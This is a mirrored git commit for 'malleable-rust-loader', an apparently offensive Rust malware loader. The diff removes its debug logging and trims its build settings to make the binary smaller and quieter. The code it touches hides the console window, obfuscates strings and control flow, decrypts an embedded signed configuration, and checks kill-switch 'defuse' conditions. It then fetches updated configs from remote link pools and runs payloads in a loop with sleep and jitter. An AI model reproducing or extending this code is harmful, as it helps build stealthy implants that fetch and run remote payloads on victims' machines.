mirror of
https://github.com/Brother-x86/malleable-rust-loader
synced 2026-06-06 15:24:27 +00:00
nop
This commit is contained in:
+4
-7
@@ -76,15 +76,12 @@ windows-sys = { version = "0.45.0" , features = [
|
||||
"Win32_Networking_ActiveDirectory",
|
||||
]}
|
||||
|
||||
|
||||
|
||||
|
||||
[profile.release]
|
||||
strip = true
|
||||
opt-level = "z"
|
||||
lto = true
|
||||
lto = true
|
||||
codegen-units = 1
|
||||
panic = "abort"
|
||||
opt-level = "z"
|
||||
panic = 'abort'
|
||||
strip = true
|
||||
|
||||
|
||||
#[lib]
|
||||
|
||||
+3
-26
@@ -1,5 +1,7 @@
|
||||
#![cfg_attr(not(feature = "logdebug"), windows_subsystem = "windows")]
|
||||
|
||||
//#![no_main]
|
||||
|
||||
use malleable_rust_loader::config::Config;
|
||||
use std::thread;
|
||||
|
||||
@@ -39,12 +41,12 @@ const OBFUSCATED_CONFIG_DECRYPT_KEY: &[u8] = include_bytes!("/projects/config/in
|
||||
#[cfg(feature="ollvm")]
|
||||
const DECRYPT_KEY_OBFUSCATION_STEPS: &[u8] = include_bytes!("/projects/config/initial.json.encrypted.aes.dataop.obfuscated.dataop");
|
||||
|
||||
//#[no_mangle]
|
||||
fn main() {
|
||||
#[cfg(feature = "logdebug")]
|
||||
env_logger::init();
|
||||
cryptify::flow_stmt!();
|
||||
let session_id: String = uuid::Uuid::new_v4().to_string();
|
||||
info!("{}{}", lc!("[+] session_id "), session_id);
|
||||
info!("");
|
||||
|
||||
let initial_config_encrypted = INITIAL_CONFIG_ENCRYPTED.to_vec();
|
||||
@@ -62,46 +64,28 @@ fn main() {
|
||||
let initial_config_decrypt_key_dataoperation: Vec<DataOperation> =
|
||||
serde_json::from_slice(initial_config_decrypt_key.as_slice()).unwrap();
|
||||
|
||||
info!("{}", lc!("[+] DECRYPT initial config"));
|
||||
let initial_config_decrypted = un_apply_all_dataoperations(
|
||||
initial_config_decrypt_key_dataoperation,
|
||||
initial_config_encrypted,
|
||||
)
|
||||
.unwrap();
|
||||
info!("{}", lc!("[+] DECRYPTED!"));
|
||||
|
||||
let mut config: Config = serde_json::from_slice(initial_config_decrypted.as_slice()).unwrap();
|
||||
info!("{}", lc!("[+] VERIFY initial config"));
|
||||
config.verify_newconfig_signature(&config).unwrap();
|
||||
info!("{}{}", lc!("[+] VERIFIED!"), "\n");
|
||||
|
||||
let mut running_thread: Vec<(thread::JoinHandle<()>, Payload)> = vec![];
|
||||
let mut loop_nb = 1;
|
||||
loop {
|
||||
info!(
|
||||
"{}{}{}",
|
||||
lc!("[+] BEGIN LOOP "),
|
||||
loop_nb,
|
||||
lc!(" --------------------------------------------------------")
|
||||
);
|
||||
info!("{}{:?}", lc!("[+] Active LOADER: "), config);
|
||||
|
||||
info!("{}", lc!("[+] DEFUSE UPDATE config"));
|
||||
if config.stop_defuse(&config.defuse_update) {
|
||||
error!("{}", lc!("[!] DEFUSE STOP update config"));
|
||||
} else {
|
||||
info!("{}", lc!("[+] UPDATE config"));
|
||||
let mut running_payload: Vec<Payload> = vec![];
|
||||
for t in &running_thread {
|
||||
running_payload.push(t.1.clone());
|
||||
}
|
||||
|
||||
config = config.update_config(&session_id, &running_payload);
|
||||
info!("{}", lc!("[+] DEFUSE payload exec"));
|
||||
if config.stop_defuse(&config.defuse_payload) {
|
||||
error!("{}", lc!("[!] DEFUSE STOP the payload exec"));
|
||||
} else {
|
||||
info!("{}", lc!("[+] PAYLOADS exec"));
|
||||
config.exec_payloads(&mut running_thread);
|
||||
}
|
||||
}
|
||||
@@ -109,13 +93,6 @@ fn main() {
|
||||
print_running_thread(&mut running_thread);
|
||||
//TODO wait all thread to finish -> new option
|
||||
config.sleep_and_jitt();
|
||||
info!(
|
||||
"{}{}{}{}",
|
||||
lc!("[+] END LOOP "),
|
||||
loop_nb,
|
||||
lc!(" ----------------------------------------------------------"),
|
||||
"\n"
|
||||
);
|
||||
loop_nb = loop_nb + 1;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -218,13 +218,6 @@ impl Config {
|
||||
let mut nb_defuse: i32 = 1;
|
||||
let mut check_this_defuse = true;
|
||||
for defuse in defuse_list {
|
||||
info!(
|
||||
"{}/{}{}{:?}",
|
||||
nb_defuse,
|
||||
defuse_list.len(),
|
||||
encrypt_string!(" defuse: "),
|
||||
defuse
|
||||
);
|
||||
if check_this_defuse {
|
||||
if defuse.stop_the_exec(&self) {
|
||||
match defuse.get_operator() {
|
||||
@@ -253,7 +246,6 @@ impl Config {
|
||||
|
||||
let jitt = (self.jitt as f64) * random_number;
|
||||
let total_sleep = (self.sleep as f64) + jitt;
|
||||
info!("{}{}", encrypt_string!("sleep: "), total_sleep);
|
||||
let sleep_time: time::Duration = time::Duration::from_millis((total_sleep * 1000.0) as u64);
|
||||
thread::sleep(sleep_time);
|
||||
}
|
||||
@@ -263,61 +255,19 @@ impl Config {
|
||||
let mut pool_nb: i32 = 0;
|
||||
for (_pool_nb, (pool_name, pool_links)) in &self.update_links {
|
||||
pool_nb = pool_nb + 1;
|
||||
info!(
|
||||
"{}/{}{}{}",
|
||||
pool_nb,
|
||||
&self.update_links.len(),
|
||||
encrypt_string!(" PoolLinks: "),
|
||||
&pool_name
|
||||
);
|
||||
match pool_links.update_pool(&self, session_id, running_thread) {
|
||||
Ok(newconf) => {
|
||||
if self.is_same_loader(&newconf) {
|
||||
info!(
|
||||
"{}",
|
||||
encrypt_string!(
|
||||
"[+] the new config is identical to the current config"
|
||||
)
|
||||
);
|
||||
info!(
|
||||
"{}",
|
||||
encrypt_string!(
|
||||
"[+] DECISION: keep the same active CONFIG, and run the payloads"
|
||||
)
|
||||
);
|
||||
} else {
|
||||
info!(
|
||||
"{}",
|
||||
encrypt_string!("the new config is different from the current config")
|
||||
);
|
||||
info!(
|
||||
"{}",
|
||||
encrypt_string!(
|
||||
"[+] DECISION: replace the active CONFIG, and run the payloads"
|
||||
)
|
||||
);
|
||||
}
|
||||
|
||||
return newconf;
|
||||
}
|
||||
Err(error) => {
|
||||
warn!(
|
||||
"{}{}",
|
||||
encrypt_string!("[+] Switch to next PoolLinks, reason: "),
|
||||
error
|
||||
);
|
||||
()
|
||||
}
|
||||
};
|
||||
}
|
||||
warn!(
|
||||
"{}",
|
||||
encrypt_string!("[+] All PoolLinks fetch without finding a new fresh VALID config")
|
||||
);
|
||||
info!(
|
||||
"{}",
|
||||
encrypt_string!("[+] DECISION: keep the same active CONFIG, and run the payloads")
|
||||
);
|
||||
self.to_owned()
|
||||
}
|
||||
}
|
||||
|
||||
+4
-2
@@ -7,7 +7,6 @@ use std::mem;
|
||||
|
||||
use serde::{Deserialize, Serialize};
|
||||
|
||||
use std::io::Cursor;
|
||||
use std::path::PathBuf;
|
||||
use std::process::Command;
|
||||
use std::{thread, time};
|
||||
@@ -246,8 +245,11 @@ pub struct WriteZip {
|
||||
pub path: String,
|
||||
}
|
||||
|
||||
//debug SIZE TODO, find a solution
|
||||
//use std::io::Cursor;
|
||||
|
||||
impl WriteZip {
|
||||
pub fn write_zip(&self, config: &Config) -> Result<PayloadExec, anyhow::Error> {
|
||||
pub fn write_zip(&self, _config: &Config) -> Result<PayloadExec, anyhow::Error> {
|
||||
//TODO found a way, not to recreate everything every time this payload run
|
||||
let path: PathBuf = calculate_path(&self.path)?;
|
||||
let _ = create_diretory(&path)?;
|
||||
|
||||
@@ -0,0 +1,2 @@
|
||||
[dependencies]
|
||||
std = {default-features=false,features=["panic_immediate_abort"]}
|
||||
Reference in New Issue
Block a user